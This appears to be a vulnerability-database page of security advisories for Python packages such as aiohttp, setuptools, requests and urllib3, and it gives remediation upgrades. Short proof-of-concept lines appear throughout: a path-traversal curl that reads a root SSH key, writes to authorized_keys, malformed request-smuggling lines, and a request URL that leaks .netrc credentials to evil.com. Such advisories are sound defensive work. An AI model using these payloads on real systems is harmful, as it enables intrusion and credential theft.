Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the request.read() method. An attacker can cause the server to consume excessive CPU resources by sending a large number of chunked messages.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade aiohttp to version 3.13.3 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Information Exposure over the /static endpoint. An attacker can determine the existence of internal path components by sending requests to probe for absolute path elements.

Remediation

Upgrade aiohttp to version 3.13.3 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Logging of Excessive Data via the cookies attribute. An attacker can generate excessive warning-level log entries by sending specially crafted Cookie headers.

Remediation

Upgrade aiohttp to version 3.13.3 or higher.

References

• GitHub Commit

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to XML Injection via the main() function in the fontTools/varLib/__init__.py file. An attacker can write files to the filesystem by supplying a specially crafted .designspace file.

Remediation

Upgrade fonttools to version 4.61.0 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Directory Traversal through the ‎PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.

PoC

python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade setuptools to version 78.1.1 or higher.

References

• GitHub Commit
• GitHub Issue
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of HTTP request elements. An attacker can potentially inject additional requests or cause unhandled exceptions leading to excessive resource consumption by exploiting leniencies in the HTTP parser and inconsistencies in error handling.

PoC

GET / HTTP/1ö1
GET / HTTP/1.𝟙
GET/: HTTP/1.1
Content-Encoding?: chunked

Remediation

Upgrade aiohttp to version 3.9.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to HTTP Request Smuggling via the unicode processing of HTTP header values. An attacker can bypass firewall or proxy protections by sending requests containing non-ASCII characters.

Note: This is only exploitable if C extensions are not in use (pure python installation) or if the AIOHTTP_NO_EXTENSIONS environment variable is enabled.

Remediation

Upgrade aiohttp to version 3.13.3 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of Range headers. An attacker can potentially interfere with HTTP request processing by supplying non-ASCII decimals in the header, which may lead to unexpected parser mismatches.

Remediation

Upgrade aiohttp to version 3.13.3 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to UNIX Symbolic Link (Symlink) Following through the FileResponse class due to improper validation for compressed variants. An attacker can access files outside the intended directory by manipulating symbolic links to point to restricted areas by performing Path.stat() and Path.open() to send the file.

Note

This vulnerability impacts servers with static routes that contain compressed variants as symbolic links pointing outside the root directory or that permit users to upload or create such links.

Remediation

Upgrade aiohttp to version 3.10.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Missing Report of Error Condition causing server authentication failures to not be detected by clients, due to handshakes not aborting as expected when the SSL_VERIFY_PEER verification mode is set. An attacker could impersonate a legitimate server by performing a MitM attack on TLS and DTLS connections using Raw Public Keys (RPKs).

Note:

1. This is only exploitable if TLS clients explicitly enable RPK use by the server, and the server, likewise, enables sending of an RPK instead of an X.509 certificate chain. The affected clients are those that then rely on the handshake to fail when the server's RPK fails to match one of the expected public keys, by setting the verification mode to SSL_VERIFY_PEER;

2. Clients that enable server-side raw public keys can still find out that raw public key verification failed by calling SSL_get_verify_result(). Those that do, and take appropriate action, are not affected.

Remediation

Upgrade cryptography to version 44.0.1 or higher.

References

• GitHub Commit
• GitHub Commit
• OpenSSL Advisory

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via the configuration of static routes when the follow_symlinks option is set to True. An attacker can read arbitrary files on the system by exploiting the lack of validation for file paths to ensure they are within the specified root directory for static files.

Notes:

This vulnerability has been present since the introduction of the follow_symlinks parameter.

An application is only vulnerable with setup code like:

app.router.add_routes([
    web.static("/static", "static/", follow_symlinks=True),  # Remove follow_symlinks to avoid the vulnerability
])

Workaround

This vulnerability can be mitigated by disabling the follow_symlinks option if it is set to True, especially in environments beyond restricted local development. Additionally, using a reverse proxy server to handle static resources is recommended over serving static resources directly with aiohttp in production environments.

Remediation

Upgrade aiohttp to version 3.9.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• PoC
• Nuclei Templates

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the strcpy function in _imagingcms.c, due to two calls that were able to copy too much data into fixed length strings.

Remediation

Upgrade pillow to version 10.3.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via crafted HTML package or custom PackageIndex page.

Note:

Only a small portion of the user base is impacted by this flaw. Setuptools maintainers pointed out that package_index is deprecated (not formally, but “in spirit”) and the vulnerability isn't reachable through standard, recommended workflows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade setuptools to version 65.5.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release
• Pyup Blog
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Improper Input Validation via the ClientSession method. An attacker can modify the HTTP request or create a new HTTP request if they control the HTTP method.

Note: This is only exploitable if the attacker can control the HTTP method of the request.

Workaround

Perform manual validation of the user value (e.g. by restricting it to a few known values like GET, POST etc.).

Remediation

Upgrade aiohttp to version 3.9.0 or higher.

References

• GitHub Commit
• GitHub Gist

Overview

Affected versions of this package are vulnerable to Improper Input Validation in the ClientSession. An attacker can modify the HTTP request or create a new HTTP request by controlling the HTTP version of the request. If a list is passed, then it bypasses validation and it is possible to perform CRLF injection.

Note: The vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).

Workaround

If these specific conditions are met and you are unable to upgrade, then validate the user input to the version parameter to ensure it is a str.

Remediation

Upgrade aiohttp to version 3.9.0 or higher.

References

• GitHub Commit
• GitHub Gist

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper handling of index pages for static file serving when show_index is set to True. If users have the ability to upload files with arbitrary filenames to the static directory, an attacker can inject malicious scripts that will be executed in the context of the victim's browser session by crafting a file name that includes executable script content.

Note:

This is only exploitable if the server is configured to allow users to upload files to the static directory and show_index is enabled.

Workaround

This vulnerability can be mitigated by using a reverse proxy server (e.g., nginx) for serving static files, as recommended, or by disabling show_index if unable to upgrade.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Affected environments

The following environments are susceptible to an XSS attack:

• Web servers
• Application servers
• Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

• Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
• Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
• Give users the option to disable client-side scripts.
• Redirect invalid requests.
• Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
• Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
• Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade aiohttp to version 3.9.4 or higher.

References

• GitHub Commit
• GitHub PR

MPL-2.0 license